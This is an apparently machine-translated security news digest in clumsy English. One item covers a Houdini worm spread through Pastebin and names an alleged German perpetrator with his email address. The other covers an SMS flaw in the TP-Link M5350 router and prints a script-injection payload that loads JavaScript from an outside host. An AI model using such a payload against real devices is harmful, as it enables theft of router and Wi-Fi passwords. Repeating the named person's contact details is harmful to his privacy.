German hackers use the Pastebin website to spread Houdini worms

According to foreign media reported on the 27th, Recorded Future security experts found a German hacker through the Pastebin website spread Houdini worm.
The survey shows that the Houdini worm developer also appears to be one of the founders of the MoWare HFD variant of the open source extortion software. Security experts say the malicious script released by the Pastebin website Visual Basic peaked in August, October, and March, and most of the script was used by an attacker to spread the Houdini worm. This type of attack first appeared in 2013 and updated in 2016.

Recorded Future found 213 malicious posts on the Pastebin website, including a first-level domain with 105 subdomains. Analysis shows that the first-level domain name and sub-domain name from the dynamic DNS provider, because the attacker is the use of other users to publish Houdini worm malicious script, security experts can confirm the information only: from the German registrant Mohammed Rad (Mohammed Raad) , The relevant email is “vicsworsbaghdad@gmail.com”.

Google found the above information and found Facebook profile using the same information. The survey shows that Mohammed Raad is one of the main members of the German Anonymous organization. In addition, Facebook’s profile also includes the member’s recent conversations related to the blackmail software MoWare HFD.

Read More

Get Wi-Fi password with only text message to the router

Recently, German security researcher Jan Hörsch found that there was a magical vulnerability in the router, sending a text message to the router, and it would reply the administrator password and the Wi-Fi password as a text message.
What is this message?

<script src =//n.ms/a.js> </script>

The vulnerable router is TP-Link M5350, a portable 3G router. As a 3G router, TP-Link M5350 supports SMS messaging, but in the SMS function location is not well filtered, so that a loophole.
Similar loopholes in the Internet products are more common, but can cause such effects are very rare, visual inspection is TP-Link internal security process failed to notice.

Read More